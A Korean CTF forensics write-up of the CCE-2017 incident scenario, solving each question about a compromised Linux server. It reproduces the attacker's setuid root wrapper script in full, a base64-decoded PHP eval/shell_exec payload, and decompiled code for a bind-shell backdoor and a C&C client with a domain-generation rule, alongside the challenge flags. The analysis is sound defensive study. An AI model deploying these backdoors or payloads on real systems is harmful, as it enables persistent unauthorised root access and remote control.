CCE-2017 시나리오 문제

CCE-2017

• File info :
• md5 / sha :

1.hics/hics1212!로 접속하고 .bash_history 에서 flag를 찾아 입력하시오.

먼저, 유저 홈 디렉토리 측에서, bash_history를 확인할려고 했으나.. 존재하지 않았습니다.

 

이를 해결하기 위해, extundelete 툴을 설치하고,

df-h를 통해, 해당 경로가 잡혀있는 쪽을 찾고,

extundelete를 이용해 복구를 진행했습니다.

그 결과 위처럼 복구에 성공했으며,

file 명령어로 텍스트 파일임을 확인했습니다.

그리고 파일 내를 체크해본 결과,

key is ~~ 양식으로 플래그를 찾을 수 있었습니다.

 

2.웹메일에서 취약점이 존재하는 파일의 full path 를 입력하시오.

먼저, 해당 서버 ip로 웹으로 접근했을 경우,

위처럼 로그인창이 떴으며, 해당 로그인 폼에서 로그인에 성공했을시, 메일 서비스를 사용할 수 있는 것처럼 되어 있어 보였습니다.

이를 확인하고, FTK를 이용해 조금 더 색인하던 도중, www 경로 측에, 의심스러운 파일 하나를 발견하게 되었으며, 이를 export해 확인해본 결과,

public function FilterUploadFile(&$aResponseItem,&$sFullPath) { $sDstPath = "/tmp/spamChecker/"; $sDstFileName = urldecode($aResponseItem['Result']['Attachment']['Name']); if (!empty($sDstPath) && !@\\is_dir($sDstPath)) { @\\mkdir($sDstPath, 0755, true); } @copy($sFullPath, $sDstPath.$sDstFileName); }

 

위처럼 파일 업로드 공격이 가능한 소스코드를 확인할 수 있었습니다. 플래그는 해당 파일의 위치인 /var/www/html/darta/default/plugins/upload-checker/index.php

임을 확인할 수 있었습니다.

 

3.해커가 웹 공격에 사용한 명령어에서 flag를 찾아 입력하시오.

먼저, 웹 공격이라 하기에, 아파치 쪽으로 가서,

access.log와 같은 로그 파일을 체크해보았으나

별 다른 흔적이 보이지 않았습니다..

그래서 로그 파일들을 체크해본 결과,

 

Sep 14 17:36:34 domain sudo: hics : TTY=tty1 ; PWD=/home/hics ; USER=root ; COMMAND=/sbin/mkfs -t ext4 /dev/sdb1 Sep 14 17:36:35 domain sudo: hics : TTY=tty1 ; PWD=/home/hics ; USER=root ; COMMAND=/sbin/mkfs -t ext4 /dev/sdb2 Sep 14 17:41:29 domain sudo: hics : TTY=tty1 ; PWD=/var/log ; USER=root ; COMMAND=/bin/rm -rf apache2/access.log apache2/error.log apache2/other_vhosts_access.log Sep 14 17:41:50 domain sudo: hics : TTY=tty1 ; PWD=/ ; USER=root ; COMMAND=/bin/mount /dev/sdb1 /home/hics/ Sep 14 17:42:03 domain sudo: hics : TTY=tty1 ; PWD=/ ; USER=root ; COMMAND=/bin/mount /dev/sdb2 /var/log/apache2/

 

아파치 로그를 삭제한 흔적들을 확인할 수 있었습니다.

그래서 df -h를 통해, 위치를 확인하고 다시 extundelete를 이용해, 복구를 진행했습니다.

 

복구 진행 후, 그 동안 복구됬던 파일들을, 압축하고 SFTP를 통해,

맥 쪽으로 가져와서 분석을 진행했습니다.

 

그 뒤, 아파치 로그를 뒤적 뒤적 거리면서 흔적을 찾던 도중

아래와 같이 base64처럼 보이는 것을 확인할 수 있었습니다.

이를 크롬 | hasher 를 돌려봤더니,

sess=ZXZhbCgicHJpbnQgc2hlbGxfZXhlYygnbHMgLWFsJyk7ZXhpdCgpOyIpOw==

 

 

위와 같이 공격 구문으로 보이는 명령어를 확인할 수 있었습니다.

또한, key를 찾을 수 있었습니다 :)

 

eval("print shell_exec('echo th3_k3y_1s_fb7696a8803062b4f4d3');exit();");

 

4.해커가 다운로드한 파일에서 flag를 찾아 입력하시오.

다운로드 한 파일이라 해서, FTK imager를 이용해서 한참을 돌아다니던 도중,

위 경로에서 다양한 이미지 파일들을 찾을 수 있었습니다.

해당 파일들을 010 editor를 이용해 분석하던 도중, 한 파일에서 zip 파일 시그니처가 확인되어, 해당 부분을 긁어내고, 저장한 다음, zip 확장자로 바꾸고 열어보았더니,

한 파일을 발견할 수 있었습니다.

압축을 해제한 후, 체크해보니 텍스트파일이였으며,

key를 확인할 수 있었습니다.

hics:th3_k3y_is_ef03730f207c351d3601:1000:1000:hics,,,:/home/hics:/bin/bash

 

5.해커가 권한상승에 사용한 취약점 CVE코드를 입력하시오.

bash_history 측에 익스플로잇 코드를 gcc를 이용해, 바이너리로 만든 흔적이 있었으며,

extundelete를 이용해, 복구를 할 수 있었습니다.

hopper 디스어셈블러를 통해, 둘러보던 도중, 몇몇 문장을 확인할 수 있어서,

해당 구문들을 구글링 한 결과,

위처럼 익스플로잇을 찾을 수 있었고, CVE를 확인할 수 있었습니다.

CVE-2017-1000112

 

6.해커가 관리자 권한을 이용하기 위한 실행코드의 full path 를 찾아 입력하시오.

bash_history를 훑어보니, usernetctl.sh 라는 쉘 스크립트 파일을 만든 흔적을 확인할 수 있었고,

FTK를 이용해, 파일을 뽑아낸 다음,

#!/bin/bash cat > /etc/cron.d/usernetctl.c << EOF #include <stdio.h> #include <stdlib.h> #include <unistd.h> int main(int argc,char *argv[]){ char exec[256]; setuid(0); setgid(0); snprintf(exec,256-1,"%s 2>/dev/null 1>/dev/null >/dev/null",argv[1]); system(exec); printf("Usage: interfacecontrol <interface-config> <up| down| report>\\n"); } EOF gcc -o /usr/sbin/interfacecontrol /etc/cron.d/usernetctl.c chmod 6755 /usr/sbin/interfacecontrol rm /etc/cron.d/usernetctl.c

 

코드를 확인해본 결과, setuid 및 setgid를 통해, 권한을 상승하는 코드라는 것을 체크할 수 있었고, 이를 flag라고 할 수 있었습니다.

/usr/sbin/interfacecontrol

 

7.해커가 열어놓은 백도어의 포트를 입력하시오.

해커가 열어 놓은 백도어의 포트의 경우,

netstat로 확인하기에는 문제가 있기에,

volatility 이용하여 분석을 진행했습니다

(프로파일 체크)

그후, linux_netstat를 통해, portshell이 44457 포트를 열어놨다는 것을 확인할 수 있었고,

해당 파일 | ccservice, portshell을 FTK를 이용해 뽑아낸 다음, hopper를 이용해 분석했습니다.

ccservice 이미지 경로 | portshell (rules.d 폴더 내 존재)

int sub_40098d(int arg0, int arg1) {
  var_260 = arg1;
  if (arg0 == 0x2) goto loc_4009d2;
  loc_4009be: puts("\\nusage: ./tcpbind <listen port>");
  rax = 0xffffffffffffffff;
  goto loc_400baf;
  loc_400baf: rbx = * 0x28 ^ * 0x28;
  if (rbx != 0x0) {
    rax = __stack_chk_fail();
  }
  return rax;
  loc_4009d2: if (fork() != 0x0) goto loc_400baa;
  loc_4009df: var_248 = socket(0x2, 0x1, 0x0);
  if (var_248 >= 0x0) goto loc_400a16;
  loc_400a02: perror("[error] socket() failed!");
  rax = 0xffffffffffffffff;
  goto loc_400baf;
  loc_400a16: var_240 = 0x2;
  htons(atoi( * (var_260 + 0x8)) & 0xffff);
  htonl(0x0);
  rax = bind(var_248, & var_240, 0x10);
  if (rax >= 0x0) goto loc_400a8a;
  loc_400a76: perror("[error] bind() failed!");
  rax = 0xffffffffffffffff;
  goto loc_400baf;
  loc_400a8a: if (listen(var_248, 0x1) >= 0x0) goto loc_400ab4;
  loc_400aa0: perror("[error] listen() failed!");
  rax = 0xffffffffffffffff;
  goto loc_400baf;
  loc_400ab4: var_24C = 0x10;
  rax = accept(var_248, & var_230, & var_24C);
  var_244 = rax;
  if (var_244 >= 0x0) goto loc_400aff;
  loc_400aeb: perror("[error] accept() failed!");
  rax = 0xffffffffffffffff;
  goto loc_400baf;
  loc_400aff: if (fork() != 0x0) goto loc_400b98;
  loc_400b0c: close(var_248);
  rax = strlen( & var_220);
  write(var_244, & var_220, rax);
  dup2(var_244, 0x2);
  dup2(var_244, 0x1);
  dup2(var_244, 0x0);
  execl("/bin/bash", 0x0);
  rax = 0x0;
  goto loc_400baf;
  loc_400b98: close(var_244);
  goto loc_400ab4;
  loc_400baa: rax = 0x0;
  goto loc_400baf;
}

/bin/bash를 실행하는 백도어임을 체크 할 수 있었습니다.

 

8.C&C클라이언트가 C&C서버에 접속할때 사용하는 규칙을 찾고, 해당 규칙의 10번째에 해당하는 키워드를 입력하시오.

linux_pstree를 통해, ccservice 프로세스가 su의 하위프로세스로 작동중인 것을 확인하였으며,

바이너리를 뽑아내, 분석해본 결과,

int main(int arg0, int arg1) {
  var_11F4 = 0x0;
  var_11E0 = malloc(sign_extend_32(0x21));
  sprintf(var_11E0, "%s %s HTTP/1.1\\r\\n", 0x401141, "/cmd.php");
  rcx = 0xffffffffffffffff;
  asm {
    repne scasb al, byte[rdi]
  };*(int16_t * )(var_11E0 + (!rcx - 0x1)) = 0xa0d;*(int8_t * )(0x2 + var_11E0 + (!rcx - 0x1)) = 0x0;
  var_1110 = 0x313837332e777777;*( & var_1110 + 0x8) = 0x3130464245393137;*( & var_1110 + 0x10) = 0x3038444435343141;*( & var_1110 + 0x18) = 0x3941434331334442;*( & var_1110 + 0x20) = 0x4233363939384336;*( & var_1110 + 0x28) = 0x6d6f632e33413941;*(int8_t * )( & var_1110 + 0x30) = 0x0;*(int32_t * ) global_cnt = * (int32_t * ) global_cnt + 0x1;
  goto loc_400c7c;
  loc_400c7c: do {
    var_11EC = socket(0x2, 0x1, 0x0);
    if (var_11EC < 0x0) {
      puts("Error opening socket");
    }
    if (var_11F4 == 0xa) {
      memset( & var_1010, 0x0, 0x100);
      sprintf( & var_1010, "boogie%d", *(int32_t * ) global_cnt);
      SHA1_Init( & var_11C0);
      rax = strlen( & var_1010);
      rax = SHA1_Update( & var_11C0, & var_1010, rax);
      rax = SHA1_Final( & var_1160, & var_11C0);
      for (var_11FC = 0x0; var_11FC <= 0x13; var_11FC = var_11FC + 0x1) {
        sprintf( & var_1140 + sign_extend_64(var_11FC + var_11FC), 0x401174);
      }
      memset( & var_1110, 0x0, 0x100);
      rax = sprintf( & var_1110, "www.%s.com", & var_1140);
      var_11F4 = 0x0;*(int32_t * ) global_cnt = * (int32_t * ) global_cnt + 0x1;
    }
    rax = gethostbyname( & var_1110);
    var_11D8 = rax;
    if (var_11D8 != 0x0) {
      break;
    }
    sleep(0x258);
    var_11F4 = var_11F4 + 0x1;
  } while (true);
  memset( & var_11D0, 0x0, 0x10);
  var_11D0 = 0x2;
  htons(0x1388);
  memcpy( & var_11D0 + 0x4, ** (var_11D8 + 0x18), sign_extend_64( * (int32_t * )(var_11D8 + 0x14)));
  rax = connect(var_11EC, & var_11D0, 0x10);
  if (rax < 0x0) {
    puts("Error connection");
  }
  var_11E8 = strlen(var_11E0);
  var_11F8 = 0x0;
  do {
    var_11E4 = write(var_11EC, sign_extend_64(var_11F8) + var_11E0, sign_extend_64(var_11E8 - var_11F8));
    if (var_11E4 < 0x0) {
      puts("Error writing message to socket");
    }
    if (var_11E4 == 0x0) {
      break;
    }
    var_11F8 = var_11F8 + var_11E4;
  } while (var_11F8 < var_11E8);
  var_11F4 = var_11F4 + 0x1;
  sleep(0x258);
  close(var_11EC);
  goto loc_400c7c;
}

 

 

위와 같은 코드를 확인할 수 있었으며,

10번째 문자열이 boogie10이라는 것을 확인할 수 있었습니다.

 

9.은닉된 프로세스 2개를 찾아 알파벳 오름차순, 쉼표","로 구분하여 띄어쓰기 없이 입력하시오.

 

pstree 및 프로세스 관련 명령어를 통해, 해당 두 바이너리가 주로 악의적인 의도로 사용됬다는 것을 확인할 수 있었고, 이 두가지 프로세스가 은닉 가능성이 존재한다고 판단했습니다.

ccservice,portshell

 

10.은닉된 시스템콜을 찾고 풀이에 필요한 메모리 주소 2개를 알파벳 오름차순, 쉼표 ","로 구분하여 띄어쓰기 없이 입력하세요.

• 풀이 불가능.. ㅠㅠ

해당 문제의 경우, 명령어가 정상적으로 작동하지 않아, 많이 애를 먹은 문제입니다.. ㅠㅠ

mac - 안됨

sift vm - 안됨

위와 같은 문제가 발생하여, Windows 측에 분석 환경을 구축하고, 진행하니,

이번엔 무사히 잘 나왔습니다.

 

총 3개의 시스템 콜 변경되었다는 것을 확인할 수 있었으며,

풀이에 필요한 메모리 주소 2개이기에, 앞에서 발견한 2개의 메모리 주소라고 추정했습니다.

ffffffffc01161b0, ffffffffc01160d0